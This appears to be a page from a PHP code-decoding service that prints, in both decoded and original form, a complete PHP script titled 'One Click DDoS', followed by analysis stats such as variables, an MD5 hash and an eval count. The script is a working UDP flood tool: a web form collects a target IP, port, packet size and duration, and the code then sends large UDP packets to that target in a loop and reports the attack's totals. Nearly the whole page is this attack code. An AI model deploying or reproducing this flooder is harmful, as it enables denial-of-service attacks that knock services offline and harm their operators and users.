Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if(isset($_GET['ip']) && isset($_GET['exTime']) && isset($_GET['po..

Decoded Output download

<?php  
    if(isset($_GET['ip']) &&  
    isset($_GET['exTime']) &&  
    isset($_GET['port']) &&  
    isset($_GET['timeout']) &&  
    isset($_GET['exTime']) &&  
    $_GET['exTime'] != "" &&  
    $_GET['port'] != "" &&  
    $_GET['ip'] != "" &&  
    $_GET['timeout'] != "" &&  
    $_GET['exTime'] != "" 
    )  
    {  
       $IP=$_GET['ip'];  
       $port=$_GET['port'];  
       $executionTime = $_GET['exTime'];  
       $noOfBytes = $_GET['noOfBytes'];  
       $data = "";  
       $timeout = $_GET['timeout'];  
       $packets = 0;  
       $counter = $noOfBytes;  
       $maxTime = time() + $executionTime;;  
       while($counter--)  
       {  
            $data .= "X";  
       }  
       $data .= " I-47";   
       print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";  
          
       while(1)  
       {  
            $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);  
            if($socket)  
            {  
                fwrite($socket , $data);  
                fclose($socket);  
                $packets++;  
            }  
            if(time() >= $maxTime)  
            {  
                break;  
            }  
        }  
         
        echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";  
        echo "Total Number of Packets Sent : " . $packets . "<br />";  
        echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "<br />";   
        echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />";  
    }  
    else 
    {  
        ?>  
        <form method="GET">  
        <title>One Click DDoS </title>  
   
            <input type="hidden" name="dos" />  
            <table id="margins">  
                <tr>  
                    <td width="400" class="title">  
                        <font color="red">IP </font>  
                    </td>  
                    <td>  
                        <input class="box" name="ip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>  
                    </td>  
                </tr>  
                   
                <tr>  
                    <td class="title">  
                          <font color="red">Port</font>  
                    </td>  
                    <td>  
                        <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>  
                    </td>  
                </tr>  
                   
                <tr>  
                    <td class="title">  
                         <font color="red">Timeout(Time in seconds)</font>  
                    </td>  
                    <td>  
                        <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />  
                    </td>  
                </tr>  
                   
                   
                <tr>  
                    <td class="title">  
                         <font color="red">Execution Time (Time in seconds)</font>   
                    </td>  
                    <td>  
                        <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>  
                    </td>  
                </tr>  
                   
                <tr>  
                    <td class="title">  
                           <font color="red"> No of Bytes per/packet</font>   
                    </td>  
                    <td>  
                        <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>  
                    </td>  
                </tr>  
                   
   
                <tr>  
                    <td rowspan="2">  
                        <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="but" value="   Attack >> "/>  
                    </td>  
                </tr>  
            </table>              
        </form>  
        <?php  
    }  
?>

Did this file decode correctly?

Original Code

<?php 
    if(isset($_GET['ip']) && 
    isset($_GET['exTime']) && 
    isset($_GET['port']) && 
    isset($_GET['timeout']) && 
    isset($_GET['exTime']) && 
    $_GET['exTime'] != "" && 
    $_GET['port'] != "" && 
    $_GET['ip'] != "" && 
    $_GET['timeout'] != "" && 
    $_GET['exTime'] != ""
    ) 
    { 
       $IP=$_GET['ip']; 
       $port=$_GET['port']; 
       $executionTime = $_GET['exTime']; 
       $noOfBytes = $_GET['noOfBytes']; 
       $data = ""; 
       $timeout = $_GET['timeout']; 
       $packets = 0; 
       $counter = $noOfBytes; 
       $maxTime = time() + $executionTime;; 
       while($counter--) 
       { 
            $data .= "X"; 
       } 
       $data .= " I-47";  
       print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>"; 
         
       while(1) 
       { 
            $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout); 
            if($socket) 
            { 
                fwrite($socket , $data); 
                fclose($socket); 
                $packets++; 
            } 
            if(time() >= $maxTime) 
            { 
                break; 
            } 
        } 
        
        echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />"; 
        echo "Total Number of Packets Sent : " . $packets . "<br />"; 
        echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "<br />";  
        echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />"; 
    } 
    else
    { 
        ?> 
        <form method="GET"> 
        <title>One Click DDoS </title> 
  
            <input type="hidden" name="dos" /> 
            <table id="margins"> 
                <tr> 
                    <td width="400" class="title"> 
                        <font color="red">IP </font> 
                    </td> 
                    <td> 
                        <input class="box" name="ip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/> 
                    </td> 
                </tr> 
                  
                <tr> 
                    <td class="title"> 
                          <font color="red">Port</font> 
                    </td> 
                    <td> 
                        <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/> 
                    </td> 
                </tr> 
                  
                <tr> 
                    <td class="title"> 
                         <font color="red">Timeout(Time in seconds)</font> 
                    </td> 
                    <td> 
                        <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" /> 
                    </td> 
                </tr> 
                  
                  
                <tr> 
                    <td class="title"> 
                         <font color="red">Execution Time (Time in seconds)</font>  
                    </td> 
                    <td> 
                        <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/> 
                    </td> 
                </tr> 
                  
                <tr> 
                    <td class="title"> 
                           <font color="red"> No of Bytes per/packet</font>  
                    </td> 
                    <td> 
                        <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/> 
                    </td> 
                </tr> 
                  
  
                <tr> 
                    <td rowspan="2"> 
                        <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="but" value="   Attack >> "/> 
                    </td> 
                </tr> 
            </table>             
        </form> 
        <?php 
    } 
?>

Function Calls

time 1

Variables

$IP None
$data
$port None
$counter None
$packets 0
$timeout None
$noOfBytes None
$executionTime None

Stats

MD5 153c2ca38e769ea09b54bd666abd0407
Eval Count 0
Decode Time 292 ms